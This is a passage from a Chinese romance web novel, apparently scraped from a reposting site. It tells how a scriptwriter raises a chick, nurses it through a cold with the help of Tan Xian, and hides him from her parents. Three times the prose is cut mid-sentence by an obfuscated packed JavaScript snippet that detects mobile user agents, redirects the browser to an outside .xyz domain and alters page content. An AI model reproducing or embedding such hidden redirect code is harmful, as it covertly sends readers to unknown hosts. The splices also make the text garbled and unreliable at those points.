立刻点开词条,开始认真学习“养鸡崽攻略”: 1.准备一个小纸箱,往里面铺一些报纸,再在纸箱上方安置一个恒温灯泡来给小鸡崽保持温暖的居住环境。 2.给小鸡仔准备一个食盘,每日定期清理,保持干净。 3.给小鸡准备一个饮水器,加温水私养可以强健小鸡的体魄。 4.阳光充足的时候,多带小鸡出去遛遛,有助于小鸡的生长。 5.定期更换垫料,清理粪便,保持居住环境的干燥…… 虞汀白把自己的快递盒子改造成了一个简易的鸡窝,往里塞了些自己的废弃剧本——让你熏陶一下本编剧的文采。 又把台灯夹在鸡窝边上,然后依次往里放置食盘、水杯。 …… 虞汀白一上午在家里爬上爬下地找东西,难得的早起活跃,把虞学名和杨艺清都看稀奇了,见她是为了一只小鸡才这么折腾,不约而同地表示养只小鸡挺好,起码能让她戒掉懒觉,还能上下爬楼锻炼身体。 忙活半天,小鸡崽终于在它的新家里啄上了煮熟的小玉米。 黄色小脑袋一点一点地啄着玉米,啄了两下,抬头看一眼鸡窝顶上,虞汀白的大脑袋,继续啄,啄着啄着又看一眼虞汀白。 什么意思? 嫌她碍事? 虞汀白识趣地退开,打开电脑准备干活,纸箱里立刻传来急切的叽叽叽叽的声音,虞汀白连忙跑回纸箱边,看见小鸡崽仰头狂叫,奇怪的是她的脑袋出现后,小鸡叫了几声便不叫了,扭着软乎乎的屁股又回头食盘边开始啄玉米。 虞汀白满头问号:??? 盯着他吃了一会儿玉米,虞汀白退开去调整台灯的线路,很快纸箱里又传来叽叽叽叽的急切叫声。虞汀白疑惑地探头过去,小鸡崽看见她以后又闭麦了,扭着软乎乎的小屁股回头去食盘边啄玉米。 虞汀白后知后觉地反应过来,这只小鸡崽好像把她当成妈妈了。 心口忽然湿哒哒的,怎么回事,有点心软软。 “给你取个名字吧。” 虞汀白盯着鸡屁股想了半天,注意到他屁股下的稿纸,突然有了灵感。 你妈妈我上进又好学,那你必然也得是个上进又好学的好孩子。 于是,一个承载了虞汀白美好盼望的名字就这么定下了——小学鸡! 伺候完小学鸡,虞汀白已然成为一名合格的新手妈妈,谈显的验证消息姗姗来迟。 R.:什么儿子? 盯着那个卖萌的白色头像,虞汀白拍了一张把脸埋进食盘里、撅着黄色屁股的小学鸡发过去,冷淡地回。 回车:没事,现在他是我的儿子了。 怎么听起来有点像带球跑文学的女主角,虞汀白无语地想。 …… 见谈显没有回消息,虞汀白把小学鸡的窝搬到自己脚边,然后扎起头发戴上眼镜,打开电脑开始干活。 这两天杂念太多,工作效率有点低,布置的稿子迟迟没有完成,远在北京的小领导已经在微信上催过她好几次。 虞汀白定下心开始加速赶稿,然而二十分钟后,谈显的语音忽然传了过来。 “出来一下,我在你家小区门口。” ?! 虞汀白惊得眼镜都要掉下来。 他怎么悄无声息就来了? 看一眼镜子里潦草的自己,虞汀白急忙起身梳妆,、换了一身能见人的衣服,临出门前想了想,故意没有带上小学鸡。 * 撑着伞走出小区,虞汀白四处张望了一下,雨幕下都是行色匆匆的行人与车辆,没有谈显。 她疑惑地拿出手机刚要拨过去,一只手从后伸来抽走了她耳边的手机,温热手指不经意地擦过了她耳尖。 “我在这。”背后传来男人的声音,干净的,微微振动着,像故乡的雨水,砸在她心上。 虞汀白回过身,雨水从伞面上滚落,顺着伞骨连成串地降下来,谈显窄瘦精巧的下巴、英俊的眉眼就在这断续的雨帘里显露出来,他也撑着一把伞,小臂白皙紧实,被雨水涮得清新干净,沾着晶莹的露珠。 他两指夹着手机轻轻一转,眉上落着几滴雨水,神情没什么变化地又把手机递了回来:“我儿子呢?” 宁屿是一座很偏远的小岛,有漂亮的白色细沙,浪漫的玫瑰色落日,但它从来不张不扬,懒散悠闲,好像不在意自己的美并不被外人所道。谈显就像这座小岛,永远气质慵懒高贵,透着一股对外界无动于衷的漠然。 是的,漠然,即使带着笑的时候,虞汀白也觉得他有一股置身事外的观察着这个世界的漠然。 “……我昨晚加你的微信,其实是要和你聊小学鸡的事。”虞汀白镇定地说着谎,先给自己找回场子,“你不要误会。” “嗯,”他抬手揩掉眉上的雨水,不解地问,“小学鸡是什么东西?” “我给他取的名字。” “……”谈显双唇抿成一条线,唇角不是很明显地扬了一下,然后想起什么,“我儿子,你给起名字?” “是我孵出来的。”虞汀白傲娇。 谈显打量了一下她,笑:“你还有这能力?” 她微恼,还有点被挑逗的羞意,但还是压下情绪,尽量让自己显出和他一样的淡定:“刚才你没回消息,我没来得及说,我改变主意了,小学鸡以后归我抚养。” 怎么听起来怪怪的,像是两个宝爸宝妈在争夺孩子的抚养权。 谈显:“你有时间照顾他?” 虞汀白:“那也不能让他跟着你这个不负责任的爸爸。” 嘶……越说越怪。 “我怎么不负责任了,你一给我发消息,我就过来接我这个便宜儿子了。” “他不便宜!” 虞汀白两只圆眼睛竖起,谈显瞧着她那护犊子的样儿,愣了一下,行,他便宜,他一接消息就跑了过来,他才是那个最便宜的。 谈显顺着她说:“嗯。不便宜。”毕竟是他们初次约会的纪念品。 听出了他语气里的迁就和哄,虞汀白又有种被对方无意中挑逗了的羞意,谈显大概察觉不到他这种漠然和与世无争的谦让,会令人生出被宠爱的错觉,好像她说什么,他都能顺着帮腔。即使她想杀人放火,他也只会懒懒地提醒一句这么做犯法,然后继续给她递刀。 她为什么总有一种被爱的错觉。她提醒自己,不要再被这个男人蛊惑。 谈显见她不说话,忽然问:“你什么时候回北京?” 虞汀白不明白他怎么突然转了话题:“参加完丁念的婚礼。” “那就是十几天后。”谈显盯着她没表情地停顿了几秒,时间仿佛被放慢,虞汀白清晰地看见雨珠从他们之间落下,她被他盯得心里没底,正想说点什么打破这奇怪的停滞,谈显又开口道,“照顾一个小生命不是那么简单的事,你需要付出时间和精力,以你现在的情况,能照顾好他吗?” 虞汀白没了底气:“……我会努力。” “那我换一个问法,你很快就要回北京了,到时候他怎么办?你打算把他带回北京?你有时间照顾他?” “那你就有时间照顾他吗?” 虞汀白不客气地反问回去,却在对方笃定而安静的注视中渐渐失去底气,他的目光像一把锐器,能穿透她所有的虚张声势和故作镇定。不知道为什么,虞汀白总有一种谈显很了解她,能够在他们之间掌控全局的感觉。 这感觉很糟糕。 虞汀白绞尽脑汁,准备反击回去的时候,旁边突然传来一声幽幽的苦口婆心的“小虞啊,听我一句劝,你们俩把日子过好才是对孩子最好的。” ???? 虞汀白和谈显的脑袋不约而同地转了过去,就见保安亭大叔张东一边磕着瓜子一边隔着小窗户看热闹,也不知在断断续续的雨声中听了多久了。 反正看起来像是没听全的,竟然把他们俩当成了一对抢孩子的年轻小夫妻。 “张、张叔,您误会了,我们俩不是那个关系。”虞汀白磕磕巴巴地解释。 张东捏着瓜子壳摆了摆手,一脸的善解人意和心照不宣:“你放心我不会告诉你爸妈的,你们小两口继续解决问题,继续。” 前两年就听说老虞天天为他家的女儿愁结婚的事,没想到小姑娘悄无声息地连孩子都有了,这事儿可不是一般的大,他可不敢去和老虞通风报信,老虞年纪大了,万一报出个好歹来怎么办。 但是这个热闹呢,还是得听。保安亭大叔笑眯眯的,假装埋头要干活,实际上还支棱着耳朵偷偷地听。 雨水落在手背上仿佛都变烫了,虞汀白不自在地压低声音对谈显说:“……你快回去吧,都让人误会了。” 谈显也配合着降低了音量,问起小学鸡现在情况怎么样,说到“小学鸡”这三个字的时候还停顿了一下,颇有些难以启齿,怎么会给孩子取这个名字。 “放心吧,他现在很健康,”虞汀白瞧了一眼努力支棱耳朵探听八卦的保安大叔,催促谈显,“你快走吧。” 谈显:“你真的不让我把他带走?” 谈显:“不然,我去你家看一眼他?” 虞汀白为他这个胆大包天的提议瞪大了眼睛,感觉再掰扯下去两个人的关系更说不清。 谈显也意识到了唐突,摸摸鼻子,算了:“……你回去发点照片给我看看。” 虞汀白莫名觉得,谈显好像还挺在意小学鸡的。 眼见着小区里的熟人往这边走过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793095|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,虞汀白飞快地比了个OK的手势,说了声“那就这样”,转身往小区里逃。 陈东见此情景,摇头叹息:“小伙子,没谈拢啊?别灰心,带点诚意和礼品,上姑娘家里多哄哄就好了。” 谈显从善如流,厚着脸皮说:“您说得对,得哄。” 刚跑进小区不远的虞汀白听了这话,回头怒瞪了谈显一眼,这人怎么顺杆爬! * 虞汀白回到家没多久,就见刚从外面回来的杨艺清一脸诡异地跟虞学名嘀嘀咕咕,过了一会儿,杨艺清和虞学名两脸诡异地嘀嘀咕咕着来到了虞汀白面前。 虞汀白正在研究怎么给小学鸡煮玉米,一边热着锅,一边拿着手机看攻略。 杨艺清支支吾吾的问她:“你这几年在北京不回来,相亲又不愿意去,是不是有什么事儿瞒着我和爸爸啊?” 虞汀白盯着攻略拿起了锅铲,心不在焉:“啊?” 杨艺清斟酌着,“你有什么事儿,就跟我们直说,我和你爸爸都能理解。” 虞汀白听不懂:“我能有什么事?” 杨艺清:“你之前……就是我们给你安排的那些相亲,你为什么都不愿意去啊?” 虞汀白很无辜:“我没有不愿意去啊,有时间去的我都去了啊。” “啧,你去倒是去了,但都没下文。” 虞学名不满:“对,你就是敷衍我们两个。” “哪有,”虞汀白被这两个人的喜怒无常搞怕了,“你们俩不要没事找事。” 说起相亲虞学名就一肚子气:“你还说没敷衍,上回那个张什么的小伙子,你不是拍着胸脯跟我保证你们俩相处得挺好,人家对你很满意,结果呢,还不是没后续了,你就骗你老子吧。” 虞汀白:“……” 冤枉啊,明明被骗身骗心的人是她,都怪谈显,虽然她一开始确实想敷衍来着…… 虞汀白总觉得杨艺清和虞学名这波问话很奇怪:“是不是又有人给我介绍相亲对象了?” 虞学名用眼神示意杨艺清,杨艺清用胳膊肘怼怼虞学名,二人在她眼皮子底下眉来眼去鬼鬼祟祟的。 最后杨艺清终于忍不住发问:“……你,是不是在北京成家有孩子了?” 正在拨弄锅里玉米的虞汀白差点一口水喷出来。 什么鬼? 沉默两秒,她懂了。 小地方是这样的,大家关系近,基本上午的八卦,下午就能跑遍全岛。 所以她和谈显在小区门口“争夺孩子抚养权”的事,不出半小时就从小区东门的保安亭传到了小区西门的停车场。 杨艺清:“我和你爸爸虽然传统保守,但也不是那种不讲理的人。你要是真背着我们结了婚,早点跟我们坦白。还有那个男方如果做错了什么,该离就离。” “孩子多大了?”虞学名还是没想明白,“怎么就有孩子了?” 他虽然梦寐以求想当外公,但如今疑似当上了,心里却很不是滋味,还有点惆怅。 虞学名:“你啊,从小就叛逆……唉!” 虞学名痛心疾首。 杨艺清生怕他这个暴脾气又要跟女儿吵起来,连忙哄他别生气:“孩子比老公重要,先把抚养权要到了再说,现在他们年轻人不都流行那什么……去父留子吗?” “什么东西?什么去父留子?” 身为父亲的虞学名感觉自己血压都要高了,这年头当爹的爹的都这么不值钱了? 杨艺清:“哎哎,降压药降压药,你降压药放哪了!” 虞汀白好笑地看着杨艺清扶着一脸即将瞑目的虞学名坐到椅子上,乒呤哐啷地从柜子里翻出降压药给虞学名吞下。 “你们两个真是听风就是雨。我没有孩子,更没有结婚。” 杨艺清和虞学名对视一眼,没有孩子,没有结婚,但是和一个男人在小区门口拉拉扯扯,那不就是—— 杨艺清惊喜道:“你有男朋友了!” “……” 不知道她是怎么推导出这个结论的,但看得出她对女儿谈恋爱这件事拥有强烈的渴望,乃至有点魔怔了。 虞汀白:“没有。” “这就是一场误会。” “怎么可能是误会呢,小张都跟我说了,他看见你和一个男的在小区门口拉拉扯扯,在那谈什么孩子的抚养权。” “什么孩子的抚养权,那就是聊一只小鸡,”虞汀白进一步解释,“就是早上我抱上抱下的那只小鸡,你们两个不是都看见了吗?” 杨艺清和虞学名面面相觑,二老满脸写着“不妙”、“不想听”、“这不是我们想要的结果”。 刚吃完降压药的虞学名眼见着血压又要高了,不死心地追问:“那……那个男的是谁?” “他啊,”虞汀白顿了顿,不知道如何解释,如果实话实说谈显就是那个相亲男,二老估计又要死灰复燃、浮想联翩,于是胡诌道,“他就是个鸡贩子。” “……” 杨艺清和虞学名的抱孙梦彻底飞走了。 * 虞汀白被眼不见心为净的杨艺清和虞学名赶回了楼上。 给小学鸡加完餐,看着他躺在台灯笼下的黄色光圈里舒服地烘着自己的小肚子,虞汀白也难得想躺下休息一会儿。 忽然想起一件很奇怪的事,虞汀白拿出手机给丁念发去消息。 回车:是你告诉谈显我家地址的吗? AAA美念外贸服饰:?没有啊 AAA美念外贸服饰:他去你家了? AAA美念外贸服饰:你们俩这么快就发展到翻墙偷情的地步了!! “……” 回车:没有! …… 虞汀白不解,既然丁念没有告诉他她家地址,谈显是怎么又快又准确地找上门的? 13. 13 13 雨水的湿意从外漫进来,外面雨势渐大,风刮着防盗窗的铁网呼呼作响,屋内却安稳宁静,如同母体的子宫,任凭外面风吹雨打,都摧不毁这温暖静谧的安全岛。 暖黄色的灯光下,小学鸡蜷缩在纸箱角落,毛茸茸黄澄澄的一团,肚皮小幅度地起伏,睡得香甜。 虞汀白看得心头发软,再瞧这个简陋的纸箱外壳,觉得这个丑丑的纸箱配不上自家的漂亮小宝。 于是翻箱倒柜地从储物室里找出自己小时候那些花里胡哨的物件。 虞汀白小时候是出了名的臭美,橡皮要买水果味的,折叠尺要买西瓜太郎的,铅笔要买五颜六色的……还很爱收藏贴纸、彩带、星星折纸、玻璃罐子之类的小玩意儿。 从储物柜里翻了半天,不负所望地翻出了小时候折的幸运星,贴纸……还有一个晴天娃娃。 也不知这晴天娃娃是什么时候买的。 虽然晴天娃娃的脑袋已经被压得有些瘪,但修复一下还能看。 虞汀白用彩带把纸箱围起来,然后贴上卡通贴纸和幸运星,遮挡住箱子原来的logo,再在纸箱顶端穿了一个小孔,把晴天娃娃挂在纸箱上方。 一顿折腾下来,小学鸡的新家变得可爱温馨起来。 她这才满意地去工作赶稿。 一进入工作状态便是数个小时,期间杨艺清曾来过喊她吃饭,但她忙得无暇分神。 等她终于从电脑前抬起头,窗外已漆黑一片,看一眼时间,半夜十二点,连续工作了近十个小时,这期间没有喝过一口水,吃过一口饭。 后知后觉地感到饥饿,她吊着最后一口气把稿子发给老板,然后火速下楼找饭吃。 杨艺清和虞学名已经睡着。杨艺清对女儿这副工作起来什么也顾不上的劲头早就习惯,把菜和饭都放在锅里,等她忙完了自己吃。 虞汀白饿得肚子直叫,也顾不上饭菜早就在锅里凉透,直接囫囵吞了下去。 工作太忙,吃饭不是生活的享受,仅仅只是为了活着。 补充完维持生命体征所必须的能量摄入,已是静谧的凌晨,虞汀白困倦地上楼洗漱,躺在被窝里刷了一会儿手机,收到了老板的收稿回复,终于安心睡去。 翌日,仍然是在雨声中醒来,与此同时,还伴随着一声声细弱的喷嚏声。 用来保温的台灯不知道何时灭了,小学鸡翅膀打抖,在小窝里缓慢地打转走路,叽叽叫几声小脑袋便歪一下打个喷嚏。 这是怎么了?虞汀白从没养过小动物,毫无经验,手忙脚乱地捧起小学鸡检查,发现他一只眼睛闭着睁不开,另一只眼睛在往外冒眼泪。 怎么办,想来想去只能求助他那个便宜亲爹,于是连忙拍了几张照片发给谈显。 又不放心地三百六十度连续录了好几个视频给他。 谈显几乎是立刻回了消息。 R.:他生病了? R.:可能是感冒,雏鸡身体弱,容易失温。 R.:孩子果然不能没有爹,还是让他跟我吧。 虞汀白原本听到小学鸡生病,担心得手脚都发凉了,却见谈显还有闲心跟她开玩笑,心莫名安定下来。 还能趁乱跟她争夺抚养权,或许情况没有那么严重? 回车:那我要怎么办,现在送他去医院? R.:你现在最应该做的就是。 R.:抱好他,在家里乖乖等着我。 虞汀白愣了愣,脸颊不自然地发烫,喉间吞咽了一下,他这语气……真的好像他们是一对熟稔的小夫妻…… * 十分钟后,虞汀白一手撑伞一手抱着小学鸡的鸡窝向小区外面走,远远地就看见了谈显的车,烟蓝色的SUV静静地伫立在雨幕中,像一个令人安心的避风港,虞汀白加快脚步跑过去,雨水溅落,打湿了她的裤脚。 刚跑到小区门口,谈显就从车上下来,他撑着一柄黑伞,长腿快步迈到她身前,他们再次在雨中相逢,谈显犹豫了一下,卸掉她手中的伞,单手收起,然后一边虚揽着她一边撑着伞把她护送到车边,虞汀白得以双手抱着鸡窝,就这么愣愣地被他送上了车。 抱着小学鸡坐在副驾驶座,虞汀白冷得打了个喷嚏,另一边谈显已经快速上了车,他从车后排拎来一个袋子里,袋子里有干燥柔软的毛巾,递给她。 “你是不是没有看我最后一条微信?” “什么?” 虞汀白拿着毛巾也没有擦头发,失神地望着小纸箱里裹着小毯子病蔫蔫的小学鸡。昨天还信誓旦旦地和谈显争夺抚养权,今天就把小学鸡养生了病,她很自责,也有些不好意思面对谈显。 “没什么。”雨水稀里哗啦落在车前玻璃上,外面铺天盖地都是雨,唯有这一方天地,温暖,干燥,谈显见虞汀白没什么精神,迟疑了一下,还是上手帮她擦了擦凌乱的湿发。 虞汀白愣了愣,眼睛沾染了潮湿的水汽,闪烁着看了过来。谈显咳了一声,看似自然而随意地说:“……我可不想到时候照顾两个病人。” …… 汽车停在了一家名为“恩慈”的宠物医院门口,谈显熟门熟路地带着虞汀白进去。“你在这里等着。”他叮嘱她,然后就消失在了走廊拥挤的人群中。 这间宠物医院是谈显的好朋友徐肖霖开的,徐肖霖戴着一副金丝边眼镜,年过四十仍然气质儒雅温文,说话不急不躁,斯文内敛,很招师奶的喜爱。恩慈常年客流如潮,就是因为徐肖霖这个金字招牌,以及他传说中的合伙人谈显。 谈显把虞汀白和小学鸡带到徐肖霖面前,徐肖霖只是检查了一会儿就确定小学鸡是感冒了。为了让看起来很担心的虞汀白安心,还让护士带着小学鸡去做了一套详细的全面检查,虞汀白自然也跟了过去。 诊室里安静下来,徐肖霖单指摘下口罩喝了一口水,示意着刚才出去的人,不怀好意地问谈显:“谁啊?” 谈显终于放松下来,靠坐在徐肖霖的医师椅上,双腿不客气地敞开,手臂垂放在上面:“没什么,一个普通朋友。” “又没睡好?”徐肖霖瞧了瞧谈显那张精神不济的脸,一张苍白的、没什么朝气的脸,但总是被年轻小妹妹们理解为帅得有个性。 “还行,后半夜睡着了。” “我记得你之前不是恢复得挺好吗,有什么刺激源?” 谈显手肘撑在大腿上,眼神向上地看着徐肖霖,外面传来虞汀白和护士的声音,她在问护士回去以后要怎么护理,护士正在贴心地告诉她注意细则,徐肖霖忽然福至心灵,指了指门板方向,又怀疑地问了一遍:“确定是普通朋友?” “嗯。”谈显表情淡定。 “那行,长得挺好看,有男朋友了吗?” 谈显的表情终于有了波澜:“我提醒你啊,你有女儿。” “那多好啊,买一送一,无痛生娃,帮她省事了。” 门外响起叩门声,护士和虞汀白探进头,护士:“徐医生,我们这边好了。” 虞汀白则望向谈显,对他露出了一个安心的笑容。谈显方才的疲惫一扫而空,他起身,悄无声息地对徐肖霖比了个中指,然后再若无其事地礼貌地笑,拍了拍徐肖霖的肩膀:“谢谢你了啊,徐医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793096|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。” “不客气,”徐肖霖满意地回头,又仔细看了一眼虞汀白,这个他第一次在谈显身边但却直觉有些不同的女人,对她很是温柔、很是如沐春风地笑了一下,“欢迎下次再来。” 谈显:“……”真骚啊。 虞汀白对着帅气医生的热情招呼只能干笑,不必了吧,还是不要再见比较好。 * “徐医生人挺好的。”上车后,虞汀白检查徐肖霖给开的药,有土霉素片,葡萄糖,阿莫西林,还按照不同的剂量和次数做了标识,很细心。 “他四十了,有女儿。”谈显毫不犹豫地、不客气地说。 啊? 虞汀白莫名其妙地眨巴眨巴眼睛,不知该回什么,说多了好像太八卦人家的私事,说少了好像歧视单亲爸爸,于是取了中庸之道,夸道:“那他保养得很好,看起来没比你大多少。” 谈显转着方向盘的手一顿,阴恻恻地望过来:“……大编剧,你视力果然不好。” 突然被内涵的虞汀白:“?” “你干嘛攻击我?” “大概是因为,”谈显想了想,无所谓道,“我人品差吧。” 神经,虞汀白被他这副不着调的一通乱开炮弄得无语又好笑,这人怎么…… 怎么还怪有意思的。 谈显似乎总是这样,时而认真,时而又很不正经,看着不着调,但若遇到了事情,他又能帮你解决得妥妥当当,像谜一样,真真假假,雾里探花。可迷雾里又钓着那么一把钩子,挠着,诱着,令人忍不住靠近。 …… 回家路上,气氛比来时轻松许多,虞汀白靠在窗边休息,看见外面经过了一家金店,立刻叫停了谈显的车。 “怎么了?”谈显疑惑,但听话地把车停在路边。 “你等我一下。”虞汀白神秘兮兮地说了一句,就头也不回地冒着雨跑下了车。 十几分钟后,虞汀白挟着一身水汽跑回车上,怀里多了一个红色锦盒。 “看,”她头发上还沾着来不及擦去的水珠,宝贝似的打开了锦盒,“我给小学鸡买了一个长命锁。” 她的头发和衣服都在刚才匆忙的来回中又被打湿,眼睫上还挂着豆大的水珠,谈显望着她那满身狼狈之下的珍而重之的表情,仿佛看到了儿时那个献宝似的地打开《听听和白兔先生》的小虞汀白,她擅长捧出自己热乎乎的心,给冰凉的、冷淡的他一个措手不及。心像被这铺天盖地的雨水浸透了,浸软了,从里到外,都是潮湿的褶皱。 谈显的喉结滚动了一下:“……他那么小,挂不了长命锁。” “嗯没关系,先保佑着。”虞汀白将刚才暂时存放在后座的小学鸡和他的小窝端上来,把长命锁和晴天娃娃挂在了一处,很满意地瞧了瞧,发现旁边的谈显盯着那个晴天娃娃出神。 谈显回过神,目光和虞汀白对上,像被烫了一下似的离开,若无其事地重新启动了汽车。 到达家门口,虞汀白打开了车门,又关上。 雨声被隔绝在外,密闭的空间里重新安静下来,虞汀白的食指和大拇指搅在一起,忐忑着,鼓足了勇气问:“那个,你要不要来我家坐坐?” “嗯?” “你放心,我爸妈不在家。” “?” 这能叫人放心么。 谈显细长的眼眯起,眼尾斜飞睨过来,一只手搭在方向盘上,一只手摩挲着手刹,像在思索衡量自己有没有会错意。 他不正经地问:“大编剧,你知道一个成年女性邀请一个单身男人到她家坐坐,是什么意思么?” 14. 14 14 “……”虞汀白这才意识到自己的话里有歧义,忙解释,“……我没别的意思,我就是想让你帮我一起照顾小学鸡。” 她是第一次照顾生病的小鸡,对自己的技术实在不放心。 谈显眼里那抹浓重的调侃散去,淡道:“嗯,以后话别说得那么暧昧。” 暧昧吗? 分明是有人淫者见淫。 * 虽然邀请的时候很顺理成章,但把人带进家门还是有些做贼心虚。 进门前,虞汀白还仔细环顾四周,确保没有邻居看见。 ……为什么一件很正常的事,让她搞出了偷鸡摸狗、鬼鬼祟祟的味儿? 虞汀白的家是一栋六层小楼,爸妈住一层,她独霸一层,一般情况下虞父虞母是不会来她这层的。 所以虞汀白一手抱着儿子,一手拉着谈显飞快地上了三楼,她的领地。 他们没有带伞跑进来的,谈显的头发沾了些细雨丝,几缕乌黑的湿发搭在眉骨上方,衬得他的脸更加白皙,虞汀白想找一条干毛巾给他擦擦,但她太久没在家里住,根本不知道杨艺清把新毛巾放在哪里。 思考片刻,只好装作若无其事地把自己的毛巾递给他:“喏,擦擦头发。” 毛巾印着猫咪和云朵的图案,有桃子的甜香,是虞汀白身上的味道。 谈显抓着毛巾,犹豫了一下才盖在头上,转瞬就被她的香气从四面八方淹没,再把毛巾取下来的时候,他向来白净的皮肤,被搓得微微有些发红。 虽然已经牢记徐医生刚才的叮嘱,但真要操作起来还是很没底,虞汀白把清理干净的注射器和提前碾碎的土霉素交给谈显:“……还是你来吧。” 谈显把袖口挽起来,露出一截劲瘦的小臂,小臂上有凸起的血管脉络,他低着头,被打湿的碎发贴在鬓角,一道水珠顺着脖颈钻进了衣领里,在他薄薄的皮肤上留下一道蜿蜒晶莹的印记,虞汀白看了一眼,移开视线。 谈显漫不经心地捧起小学鸡,手指抚了抚他的肚子,如同刽子手开膛破腹前的安抚,然后便毫不留情地捏开了他的小嘴,强势地将药液注射进去,小学鸡扭头挣扎,“帮忙固定住他的脑袋。”谈显头也没抬地说。 虞汀白手忙脚乱地帮忙,她极少看到谈显这般认真的模样,动作坚定,语气平淡,显出了一丝镇定的冷酷。 待把药液注射完,谈显才放开小学鸡,重新变回了亲爹样儿又抚了抚小学鸡的肚子,但小学鸡已然有了后遗症,在他抚摸下战战兢兢地抖翅膀。 “看到我的操作了吗?”在虞汀白走神的时候,谈显忽然侧头问她,虞汀白一怔,不好意思说自己刚才一直在观察他:“……看到了。” “真的?”谈显眯起眼怀疑地瞧她。 虞汀白眼神飘忽。 谈显不放心:“我再给你操作一遍。” 虞汀白毫不犹豫:“好。” “……” 谈显又演示了一遍操作,告诉她:“注射完以后可以揉一揉他的肚子,安抚一下他,就像……” “打一个巴掌再给一颗甜枣?”虞汀白抢答。 谈显停顿了一下:“……你出师了。” 虞汀白呵呵:“毕竟没少跟你相处。” 谈显眯了眯眼,总觉得被诽谤了。 给小学鸡灌完药,谈显又检查了台灯,这几天宁屿一直在下雨,必须得保证小学鸡的温度,他降低了台灯的高度,让灯泡完全探进了鸡窝里。 感觉到温暖的病蔫蔫的小学鸡果然挪着病体滚了过来,脆弱的小眼皮掀了掀,已经忘记刚才就是这个美貌可口的男人对他下手。 放下鸡窝起身的时候,谈显又注意到了鸡窝外挂着的晴天娃娃。年代久远,说实话,有点丑。 但这是他做的,谈显的喉结滚了滚,欲言又止。 察觉到他凝固的视线,虞汀白顺着看向晴天娃娃,谈显的出神令她感到困惑:“怎么了?” “虞汀白,你记忆力真的很差。”谈显面上仍是笑的,但话中含着一丝冷意。 虞汀白迷惑:“我怎么了?” “有一种生物的大脑结构较为简单,即使有着与人类大脑相似的神经系统,依然只能记住数月或者数周的记忆。” “你在嘲讽我是金鱼脑?” “不。你看起来,还不如它们。” 谈显像是故意想要刺痛她,但虞汀白只是茫然:“……我到底哪里惹你了?” 没有,你没有惹我,你只是忘记了我。轻飘飘地,忘记了我。谈显一瞬不瞬地望着虞汀白,企图从她茫然的神色中发现一丝破绽。然而,什么都没有。 谈显失望地站起了身。 虞汀白刚想追问,楼下传来院子的铁门打开的声音。 “糟糕!”虞汀白变色,“我爸妈回来了!” 如果被杨艺清和虞学名发现了谈显,那就什么也说不清了。尤其是在保安亭张叔早就造谣传谣过的情况下…… 不等谈显反应过来,虞汀白一把将他推进了卫生间:“你在这里别动!” 她蹬蹬蹬跑下楼,趁着杨艺清和虞学名还在大门口一边抱怨着“不知道谁把车停在了他们家门口这么没有功德心”一边艰难地把小电动车开进院子里的时候,她飞快地把楼梯口谈显的鞋子提溜到楼上藏了起来。 “你不会打算让我待到你爸妈睡着再走吧?”谈显猝不及防地被推进卫生间,意外地望了眼窗外渐渐暗下来的天色,“你爸妈平时几点睡觉?” “顺利的话他们九点多就会回到二楼卧室……” “那不顺利呢?” 外面楼梯传来杨艺清的脚步声,与此同时还伴随着她的喊声:“小鱼!” 虞汀白眨了眨眼,悲催道:“就像现在这样……” 没等到回应,杨艺清大喊:“不孝女!” “哎——干什么?”担心让杨艺清等急了,虞汀白只得出声应话。 “开个门,洗衣凝珠放你阳台了。”杨艺清一边说着一边走上来。 虞汀白刚想说我送下去你别上来了,就听杨艺清的脚步已经到达门口,她连忙关上了卫生间的门,把自己和谈显一并锁在了里面。 杨艺清推开房间门,就见屋内空空荡荡,鸡窝里亮着暖融融的光。 谈显被虞汀白推得太急,膝盖重重撞在墙壁的瓷砖上,痛得他嘶了一声。 杨艺清听到奇怪的声音,走到卫生间门口:“你怎么了?” 虞汀白一把捂住谈显的嘴,防止他再发出任何声音:“没、没怎么了,就是差点滑了一跤。” “我就说这地板太容易滑倒了,下回叫你爸爸给你买个防滑垫。” “昂!”虞汀白朝着外面应道。 谈显被虞汀白按着,后背抵在冰凉的瓷砖墙面上,面前却是她散发着热气的身体,她温热的小手按着他的嘴,属于她的桃子香气钻进他的鼻腔。 感觉到手心被吹了一口气,痒痒的,虞汀转过头,谈显用眼神示意她把手拿开,虞汀白反应过来,讪讪地把手拿开。 掌心似乎还留存着他的温度,她悄悄地蜷了一下手。 “我……”谈显刚发出一个音节,虞汀白又一把按了上去。 “你别说话!”虞汀白惊恐道。 男人的声压强,很容易被外面的人听见。 但她没有意识到她这句话声音更大,杨艺清在外面问:“啊?你说什么?” “没、没什么,你找到洗衣凝珠了吗?”虞汀白慌张。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793097|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 